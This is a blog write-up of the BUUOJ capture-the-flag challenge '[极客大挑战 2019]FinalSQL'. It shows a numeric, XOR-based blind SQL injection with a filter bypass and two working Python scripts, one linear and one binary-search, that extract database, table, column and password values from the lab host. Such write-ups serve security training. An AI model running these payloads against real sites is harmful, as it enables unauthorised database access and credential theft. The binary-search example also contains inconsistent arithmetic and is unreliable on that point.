[极客大挑战 2019]FinalSQL

[极客大挑战 2019]FinalSQL

一道SQL注入题,是之前做的版本的进阶题,同样可以输入用户名和密码,在这里一番测试后没有找到可利用的地方

image

注意点转移到上面的神秘代码

点击1后,发现跳转到了search.php页面,id值为1

image

继续测试这个地方是否存在注入,结果发现他有过滤,过滤了空格、星号等特殊符号,但是减号、异或符、除号并未过滤,并且测出此处为数字型注入而非字符型注入。(测试方法:传值1、2-1、1/1、1^0等结果正常显示,而输入3-1则显示“2”的页面)

有两个注意点

image

image

报错为:Error!

传值0为:ERROR!!!

可以利用布尔注入,下面使用脚本进行探测

(算法未优化,不推荐跑此脚本)

import requests
import string
import time

reply = 'ERROR!!!' #正确响应文本
url = 'http://e03dd5a8-9a16-401f-9c51-c64cc8e60586.node4.buuoj.cn:81/search.php?id='

session=requests.session()
teststring = string.printable
result = ''

#数据库名------------------------------------------------------------------------
# for dblen in range(1,50):
#     payload = "1^(length(database())=%d)#" %(dblen)       #!!!!!!!!!
#     lasturl = url+payload
#     urlresult = session.get(lasturl).text
#     # print(lasturl)
#     if reply in urlresult:
#         print(lasturl)
#         print("数据库名长度为:"+str(dblen))
#         time.sleep(2)  # 避免探测时,响应429
#         break
#
# for i in range(1,dblen+1):
#     for char in range(32,127):
#         payload = "1^(ascii(substr(database(),%d,1))=%d)#" %(i,char)
#         lasturl = url + payload
#         urlresult = session.get(lasturl).text
#         print(lasturl)
#         time.sleep(1)  # 避免探测时,响应429
#         if reply in urlresult:
#             result += chr(char)
#             print(lasturl)
#             print("数据库名探测中:" + result)
#             break
# dbname = result
# result = ''
# print("探测完成!数据库名为:"+dbname)

#表名----------------------------------------------------------------
# dbname='geek'
# for tablen in range(1,200):
#     payload = "1^(select(length(group_concat(table_name))=%d)from(information_schema.tables)where(table_schema)='%s')#" %(tablen,dbname)
#     lasturl = url+payload
#     urlresult = session.get(lasturl).text
#     # print(lasturl)
#     if reply in urlresult:
#         print(lasturl)
#         print("探测表名组长度为:" + str(tablen))
#         time.sleep(2)  # 避免探测时,响应429
#         break
#
# for i in range(1, tablen + 1):
#     for char in range(32,127):
#         payload = "1^(select(ascii(substr(group_concat(table_name),%d,1))=%d)from(information_schema.tables)where(table_schema)='%s')#" %(i,char,dbname)
#         lasturl = url + payload
#         urlresult = session.get(lasturl).text
#         # print(lasturl)
#         if reply in urlresult:
#             result += chr(char)
#             print(lasturl)
#             print("表名集合探测中:" + result)
#             time.sleep(3)  # 避免探测时,响应429
#             break
# tablename = result
# result = ''
# print("探测完成!表名集合为:" + tablename)

#字段名-----------------------------------------------------------------------
# dbname='geek'
# tablename='F1naI1y'
# for collen in range(1,200):
#     payload = "1^(select(length(group_concat(column_name))=%d)from(information_schema.columns)where(table_name='%s'))#" %(collen,tablename)
#     lasturl = url+payload
#     urlresult = session.get(lasturl).text
#     # print(lasturl)
#     if reply in urlresult:
#         print(lasturl)
#         print("探测表中字段组长度为:"+str(collen))
#         break
#
# for i in range(1, collen + 1):
#     for char in range(32,127):
#         payload = "1^(select(ascii(substr(group_concat(column_name),%d,1))=%d)from(information_schema.columns)where(table_name)='%s')#" %(i,char,tablename)
#         lasturl = url + payload
#         urlresult = session.get(lasturl).text
#         # print(lasturl)
#         if reply in urlresult:
#             result += chr(char)
#             print(lasturl)
#             print("字段名集合探测中:" + result)
#             time.sleep(2)
#             break
# columnname = result
# result = ''
# print("探测完成!表名集合为:" + columnname)

#字段值内容--------------------------------------------------------------
dbname='geek'
tablename='F1naI1y'
columnname='password'
for textlen in range(1,10000):
    payload = "1^(select(length(group_concat(password))=%d)from(F1naI1y))#" %(textlen)
    lasturl = url+payload
    urlresult = session.get(lasturl).text
    print(lasturl)
    if reply in urlresult:
        print(lasturl)
        print("探测该字段下文字组长度为:"+str(textlen))
        break

for i in range(1, textlen + 1):
    for char in range(32,127):
        payload = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))=%d)#" % (i, char)
        lasturl = url + payload
        urlresult = session.get(lasturl).text
        time.sleep(1)
        print(lasturl)
        if reply in urlresult:
            result += chr(char)
            print(lasturl)
            print("字段名集合探测中:" + result)
            break
print("探测完成!该字段下的值集合为:" + result)

写脚本时的心得:

当请求太快时,服务器会响应429,导致脚本出错,所以必须设置延时,这就导致了爆破速度不能太快。

正常来讲,mysql应该是不区分大小写的,但实际上是Windows上不区分大小写,Linux上区分大小写,所以,第一次写了个脚本,虽然将表名爆了出来,但结果都是小写的(实际上是大写),导致后面无法继续爆破字段名,当初因为这个,查了半天错。

爆破汇总:

数据库名:geek

表名:F1naI1y,字段缺失.....

字段名:cl4y爆破中.....

这个效率实在太差了,下面推荐其他大牛的脚本

改进算法:二分法(yyds)

import requests
url = "http://5cb9bdd9-00e4-4fcd-a9b3-872e7fe61aa7.node4.buuoj.cn:81/search.php"
flag = ''
for i in range(1,300):
    low = 32
    high = 127
    while low < high:
        mid = (low+high)//2
        # 中间的语句为真,网页不报错,中间的语句为假,网页报错,根据这个判断
        # 查数据库
        # database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid)
        # 查表
        # tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid)
        # columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid)
        data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
        print(chr(mid))
        # 根据需要查询的内容改变get中的参数
        r = requests.get(url=url+data)
        # print(url+database)
        # print(payload1)
        # print(r.raw)
        if 'Click' in r.text:
            low = mid + 1
        else:
            high = mid
        # print(low,mid,high)
    flag += chr(low)
    print(flag)

二分法运作原理分析:

例如需要爆破的字符集如下:0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F

假设最终爆破结果为:2AE3

使用二分法探测过程:

  1. 0和F取中间值7。【(0+16)//2=8】

  2. 判断2是小于7的,将高位换成8,再取中间值3。【(0+8)//2=4】

  3. 判断2是小于3的,将高位换成4,再取中间值1。【(0+4)//2=2】

  4. 判断2是大于1的,将低位换成2,再取中间值2。【(2+4)//2=3】

  5. 判断2是等于2的,将高位换成2,此时不满足循环条件(low<high),循环退出,得到第一解:2

以下如此往复,相比直接爆破二分法效率高,并且当爆破范围越大时,效果越明显。

posted @ 2021-11-28 12:02  Sentry_fei  阅读(733)  评论(0编辑  收藏  举报